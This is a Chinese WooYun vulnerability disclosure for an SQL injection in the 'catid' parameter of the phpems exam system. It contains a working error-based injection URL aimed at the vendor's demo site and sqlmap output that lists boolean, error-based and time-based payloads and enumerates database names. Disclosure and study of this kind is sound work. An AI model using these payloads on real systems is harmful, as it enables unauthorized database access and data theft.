当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082478

漏洞标题:phpems在线考试模拟系统sql注入

相关厂商:phpems

漏洞作者: Mosuan

提交时间:2014-11-10 16:10

修复时间:2015-02-08 16:12

公开时间:2015-02-08 16:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

没学过面向对象,看不懂代码,完全黑盒出来的

漏洞证明:

demo测试

http://phpems.net/2014/index.php?content-app-category&catid=2)%20AND%20%28SELECT%207082%20FROM%28SELECT%20COUNT%28*%29%20,CONCAT%280x3a6c787a3a,%28SELECT%20%28CASE%20WHEN%20%287082=7082%29%20THEN%201%20ELSE%200%20END%29%29,0x3a7771%207a3a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%286356=6356


注入地址:http://phpems.net/2014/index.php?content-app-category&catid=2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:06:41
[00:06:42] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\phpems.net\session' as session file
[00:06:42] [INFO] testing connection to the target url
[00:06:42] [INFO] testing if the url is stable, wait a few seconds
[00:06:43] [INFO] url is stable
[00:06:43] [INFO] testing if GET parameter 'catid' is dynamic
[00:06:43] [INFO] confirming that GET parameter 'catid' is dynamic
[00:06:43] [INFO] GET parameter 'catid' is dynamic
[00:06:44] [INFO] heuristic test shows that GET parameter 'catid' might be injec
table (possible DBMS: MySQL)
[00:06:44] [INFO] testing sql injection on GET parameter 'catid'
[00:06:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:06:44] [INFO] GET parameter 'catid' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
[00:06:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:06:44] [INFO] GET parameter 'catid' is 'MySQL >= 5.0 AND error-based - WHERE
or HAVING clause' injectable
[00:06:44] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:06:44] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[00:06:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:07:25] [INFO] GET parameter 'catid' is 'MySQL > 5.0.11 AND time-based blind'
injectable
[00:07:25] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:07:26] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:07:26] [INFO] target url appears to have 1 columns in query
[00:07:56] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:07:56] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[00:08:28] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:08:59] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:09:30] [CRITICAL] connection timed out to the target url or proxy
[00:10:00] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:10:31] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:11:02] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:11:42] [CRITICAL] connection timed out to the target url or proxy
[00:11:42] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[00:11:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:12:13] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:12:53] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:13:33] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:14:04] [CRITICAL] connection timed out to the target url or proxy
[00:14:34] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:15:05] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:15:36] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:16:07] [CRITICAL] connection timed out to the target url or proxy
GET parameter 'catid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 20 HTTP(s) requ
ests:
---
Place: GET
Parameter: catid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: content-app-category&catid=2) AND 9845=9845 AND (6466=6466
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: content-app-category&catid=2) AND (SELECT 7082 FROM(SELECT COUNT(*)
,CONCAT(0x3a6c787a3a,(SELECT (CASE WHEN (7082=7082) THEN 1 ELSE 0 END)),0x3a7771
7a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
(6356=6356
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: content-app-category&catid=2) AND SLEEP(5) AND (3563=3563
---
[00:16:27] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.9
back-end DBMS: MySQL 5.0
[00:16:27] [INFO] fetching database names
[00:16:27] [INFO] the SQL query used returns 2 entries
[00:16:27] [INFO] retrieved: information_schema
[00:16:27] [INFO] retrieved: s560243db0
available databases [2]:
[*] information_schema
[*] s560243db0
[00:16:27] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\phpems.net'
[*] shutting down at 00:16:27

修复方案:

过滤。

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝